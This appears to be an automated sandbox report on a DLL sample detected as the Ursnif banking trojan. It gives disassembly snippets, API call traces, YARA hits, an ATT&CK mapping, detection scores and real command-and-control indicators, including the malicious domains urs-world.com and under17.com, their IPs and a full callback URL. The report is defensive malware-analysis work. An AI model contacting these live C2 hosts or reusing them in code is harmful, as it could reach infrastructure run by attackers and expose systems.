Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A237B push dword ptr [ebp-10h]; mov dword ptr [esp], esi	0_2_026A2737
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A237B push edi; mov dword ptr [esp], 00000004h	0_2_026A2759
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A247B push 00000000h; mov dword ptr [esp], eax	0_2_026A2498
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A247B push 00000000h; mov dword ptr [esp], edi	0_2_026A2502
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A247B push 00000000h; mov dword ptr [esp], ecx	0_2_026A2524
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A247B push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	0_2_026A269D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A247B push dword ptr [ebp-10h]; mov dword ptr [esp], esi	0_2_026A2737
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A247B push edi; mov dword ptr [esp], 00000004h	0_2_026A2759
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push dword ptr [ebp-08h]; mov dword ptr [esp], edi	0_2_026A48B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push dword ptr [ebp-10h]; mov dword ptr [esp], edx	0_2_026A490D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push 00000000h; mov dword ptr [esp], ecx	0_2_026A4918
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push dword ptr [ebp-10h]; mov dword ptr [esp], edi	0_2_026A4990
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push dword ptr [ebp-0Ch]; mov dword ptr [esp], ecx	0_2_026A4A23
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push 00000000h; mov dword ptr [esp], ebp	0_2_026A4A2E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push ebx; mov dword ptr [esp], 00000001h	0_2_026A4AD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_026A4BE3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push 00000000h; mov dword ptr [esp], edx	0_2_026A4C36
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push dword ptr [ebp-08h]; mov dword ptr [esp], edi	0_2_026A4D62
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push 00000000h; mov dword ptr [esp], edx	0_2_026A4D67
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859 push 00000000h; mov dword ptr [esp], ecx	0_2_026A4D74

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.469880378.0000000002FE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.468304011.00000000009A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.233568120.00000000036C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.9a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.36c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2fe0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.430938761.000000000526D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352421951.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352356466.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352397565.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352410447.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352378361.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352447282.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5944, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Window / User API: threadDelayed 418

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_009212D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		0_2_009212D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04B212D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		3_2_04B212D4

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001745 LoadLibraryA,GetProcAddress,

0_2_10001745

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A2DF5 or edx, dword ptr fs:[00000030h]		0_2_026A2DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03662DF5 or edx, dword ptr fs:[00000030h]		2_2_03662DF5

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.469842682.0000000001290000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.470506785.0000000003550000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000000.00000002.469842682.0000000001290000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.470506785.0000000003550000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.469842682.0000000001290000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.470506785.0000000003550000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.469842682.0000000001290000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.470506785.0000000003550000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0092269C cpuid

0_2_0092269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_1000102F GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

0_2_1000102F

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0092269C RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

0_2_0092269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001850 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

0_2_10001850

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.469880378.0000000002FE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.468304011.00000000009A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.233568120.00000000036C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.9a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.36c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2fe0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.430938761.000000000526D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352421951.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352356466.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352397565.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352410447.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352378361.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352447282.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5944, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.469880378.0000000002FE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.468304011.00000000009A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.233568120.00000000036C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.9a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.36c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2fe0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.430938761.000000000526D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352421951.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352356466.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352397565.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352410447.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352378361.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352447282.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5944, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Path Interception	Process Injection12	Masquerading1	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	File and Directory Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
KAsJ2r4XYY.dll	52%	Virustotal		Browse
KAsJ2r4XYY.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.loaddll32.exe.920000.0.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
3.2.rundll32.exe.4b20000.3.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
0.2.loaddll32.exe.10000000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
3.2.rundll32.exe.10000000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File

Domains

Source	Detection	Scanner	Label	Link
urs-world.com	0%	Virustotal		Browse
under17.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://under17.com/joomla/X_2FkL3FeOxUDMJ/FYE4xQai74UAgYvt6w/rz9YymYaY/A1831r9BfghFj3EKo2Ac/ILaAjMeO	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
urs-world.com	185.186.244.95	true	true	0%, Virustotal, Browse	unknown
under17.com	185.243.114.196	true	true	0%, Virustotal, Browse	unknown
login.microsoftonline.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.msn.com/de-ch/nachrichten/politik/union-s	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/news/other/briten-wollen-impfnachweise-nach-israelischem-vorbild-einf	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/bundesregierung-stuft-niederlande-als-hochinzidenzgebi	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/nachrichten/schweiz/schweizer-pass-nach-der-schulzeit-junge-glp-will-einb	msnpopularnow[1].json.28.dr	false		high
http://under17.com/joomla/X_2FkL3FeOxUDMJ/FYE4xQai74UAgYvt6w/rz9YymYaY/A1831r9BfghFj3EKo2Ac/ILaAjMeO	{5CD1EFE9-95B2-11EB-90E4-ECF4BB862DED}.dat.25.dr, ~DFB944C173FC982650.TMP.25.dr	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/news/other/die-st-galler-stadtpolizei-bereitet-sich-auf-eine-weitere-krawa	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/ein-trick-soll-auslandschweizern-in-der-ferne-helfen-	msnpopularnow[1].json.28.dr	false		high
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	~DF76D71240BBB52F37.TMP.19.dr	false		high
https://www.msn.com/de-ch/reisen/artikel/berghuus-radons-in-der-schweiz-ein-hoch-auf-die-schweinebac	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/k	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/news/other/iran-keine-verhandlungen-mit-usa-bei-atomtreffen-in-wien/ar-BB1	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/news/other/t	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/stuttgart-querdenker-demo-alle-emp	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/news/other/unruhen-in-nordirland-demonstranten-setzen-autos-in-brand-und-g	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/nachrichten/digital/tilman-santarius-einmal-zoomen-statt-bahn-spart-90-pro	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/news/other/r	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/news/other/ich-w	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/jeder-mensch-kann-europa-ver	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/papst-franziskus-warnt-vor-r	msnpopularnow[1].json.28.dr	false		high
http://feross.org	GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js.20.dr	false		high
https://www.msn.com/de-ch/nachrichten/vermischtes/taucherin-tot-aus-dem-rhein-geborgen/ar-BB1fi1Ia?o	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/news/other/deutschlands-star-virologe-empfiehlt-ernsthaften-lockdown-so-wi	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/news/other/weitere-proteste-in-myanmar-ostereier-mit-parolen-gegen-die-jun	msnpopularnow[1].json.28.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/corona-jens-spahn-plant-freiheiten-f	msnpopularnow[1].json.28.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.243.114.196	under17.com	Netherlands		31400	ACCELERATED-ITDE	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	381747
Start date:	04.04.2021
Start time:	18:55:47
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	KAsJ2r4XYY.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.winDLL@18/115@6/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 48% (good quality ratio 45.4%) Quality average: 78.9% Quality standard deviation: 29%
HCA Information:	Successful, ratio: 85% Number of executed functions: 66 Number of non-executed functions: 83
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, ielowutil.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe Excluded IPs from analysis (whitelisted): 52.255.188.83, 104.42.151.234, 52.147.198.201, 20.82.210.154, 184.30.24.56, 88.221.62.148, 13.107.21.200, 204.79.197.200, 20.54.26.129, 67.26.83.254, 8.241.83.126, 8.238.85.126, 8.241.126.249, 8.238.29.126, 20.190.159.134, 40.126.31.141, 40.126.31.137, 40.126.31.135, 20.190.159.132, 40.126.31.143, 40.126.31.8, 40.126.31.6, 20.190.159.133, 20.190.159.137, 40.126.31.7, 40.126.31.140, 40.126.31.5, 40.126.31.142, 20.190.159.131, 40.126.31.9, 20.82.209.183, 92.122.213.247, 92.122.213.194, 152.199.19.161, 20.190.160.67, 20.190.160.73, 20.190.160.8, 20.190.160.75, 20.190.160.71, 20.190.160.2, 20.190.160.6, 20.190.160.132 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, www.tm.lg.prod.aadmsa.akadns.net, bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, e11290.dspg.akamaiedge.net, iecvlist.microsoft.com, go.microsoft.com, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, www2.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, ie9comview.vo.msecnd.net, ris-prod.trafficmanager.net, update4.microsoft.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, www.tm.a.prd.aadg.akadns.net, login.msa.msidentity.com, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, www2-bing-com.dual-a-0001.a-msedge.net, blobcollector.events.data.trafficmanager.net, go.microsoft.com.edgekey.net, skypedataprdcolwus16.cloudapp.net, cs9.wpc.v0cdn.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:57:02	API Interceptor	1x Sleep call for process: rundll32.exe modified
18:58:00	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
185.243.114.196	swlsGbeQwT.dll	Get hash	malicious	Browse
	document-1048628209.xls	Get hash	malicious	Browse
	document-1771131239.xls	Get hash	malicious	Browse
	document-1370071295.xls	Get hash	malicious	Browse
	document-69564892.xls	Get hash	malicious	Browse
	document-1320073816.xls	Get hash	malicious	Browse
	document-184653858.xls	Get hash	malicious	Browse
	document-1729033050.xls	Get hash	malicious	Browse
	document-540475316.xls	Get hash	malicious	Browse
	document-1456634656.xls	Get hash	malicious	Browse
	document-1376447212.xls	Get hash	malicious	Browse
	document-1813856412.xls	Get hash	malicious	Browse
	document-1776123548.xls	Get hash	malicious	Browse
	document-684762271.xls	Get hash	malicious	Browse
	document-1590815978.xls	Get hash	malicious	Browse
	document-66411652.xls	Get hash	malicious	Browse
	document-415601328.xls	Get hash	malicious	Browse
	document-69633738.xls	Get hash	malicious	Browse
	document-779106205.xls	Get hash	malicious	Browse
	document-2092157215.xls	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
urs-world.com	swlsGbeQwT.dll	Get hash	malicious	Browse	185.186.244.95
	document-1048628209.xls	Get hash	malicious	Browse	185.186.244.95
	document-1771131239.xls	Get hash	malicious	Browse	185.186.244.95
	document-69564892.xls	Get hash	malicious	Browse	185.186.244.95
	document-1729033050.xls	Get hash	malicious	Browse	185.186.244.95
	document-1813856412.xls	Get hash	malicious	Browse	185.186.244.95
	document-1776123548.xls	Get hash	malicious	Browse	185.186.244.95
	document-647734423.xls	Get hash	malicious	Browse	185.186.244.95
	document-1579869720.xls	Get hash	malicious	Browse	185.186.244.95
	document-895003104.xls	Get hash	malicious	Browse	185.186.244.95
	document-779106205.xls	Get hash	malicious	Browse	185.186.244.95
	document-806281169.xls	Get hash	malicious	Browse	185.186.244.95
	document-839860086.xls	Get hash	malicious	Browse	185.186.244.95
	document-1061603179.xls	Get hash	malicious	Browse	185.186.244.95
	document-909428158.xls	Get hash	malicious	Browse	185.186.244.95
	document-1747349663.xls	Get hash	malicious	Browse	185.186.244.95
	document-1822768538.xls	Get hash	malicious	Browse	185.186.244.95
	document-1952275091.xls	Get hash	malicious	Browse	185.186.244.95
	document-583955381.xls	Get hash	malicious	Browse	185.186.244.95
	document-719712851.xls	Get hash	malicious	Browse	185.186.244.95
under17.com	swlsGbeQwT.dll	Get hash	malicious	Browse	185.243.114.196
	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
	document-1813856412.xls	Get hash	malicious	Browse	185.243.114.196
	document-1776123548.xls	Get hash	malicious	Browse	185.243.114.196
	document-684762271.xls	Get hash	malicious	Browse	185.243.114.196
	document-1590815978.xls	Get hash	malicious	Browse	185.243.114.196
	document-66411652.xls	Get hash	malicious	Browse	185.243.114.196
	document-415601328.xls	Get hash	malicious	Browse	185.243.114.196
	document-895003104.xls	Get hash	malicious	Browse	185.243.114.196
	document-69633738.xls	Get hash	malicious	Browse	185.243.114.196
	document-779106205.xls	Get hash	malicious	Browse	185.243.114.196

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ACCELERATED-ITDE	swlsGbeQwT.dll	Get hash	malicious	Browse	185.243.114.196
	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
	document-1813856412.xls	Get hash	malicious	Browse	185.243.114.196
	document-1776123548.xls	Get hash	malicious	Browse	185.243.114.196
	document-684762271.xls	Get hash	malicious	Browse	185.243.114.196
	document-1590815978.xls	Get hash	malicious	Browse	185.243.114.196
	document-66411652.xls	Get hash	malicious	Browse	185.243.114.196
	document-415601328.xls	Get hash	malicious	Browse	185.243.114.196
	document-69633738.xls	Get hash	malicious	Browse	185.243.114.196
	document-779106205.xls	Get hash	malicious	Browse	185.243.114.196
	document-2092157215.xls	Get hash	malicious	Browse	185.243.114.196

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{40515B78-95B2-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.769110427245521
Encrypted:	false
SSDEEP:	96:ruZkZzr2z8wWz8yGPtz8yGVA3fz8yGV7fOpOMz8yG8i7ch2fl9Wz87G8i7Oa4B:ruZkZv2vWCtDf2tMgueB
MD5:	CC95A06E21067F12C80786AD9ABC02C3
SHA1:	949D8FA7FEC7419F6CE5A513AB208D19B1E88A2E
SHA-256:	388AE714261BD8FB02423F72DDE09BA95119377CDE9D69036B739A2A2F8CD916
SHA-512:	D92B6C2E2925AD12605231DEDBF77A8B3F436095574AA454A14AFB78260FD637ACBD5064EAEA0905F5C1A052E4018440D2CE27F0C4D2FA3030DFAF588C1C9A94
Malicious:	false
Reputation:	low
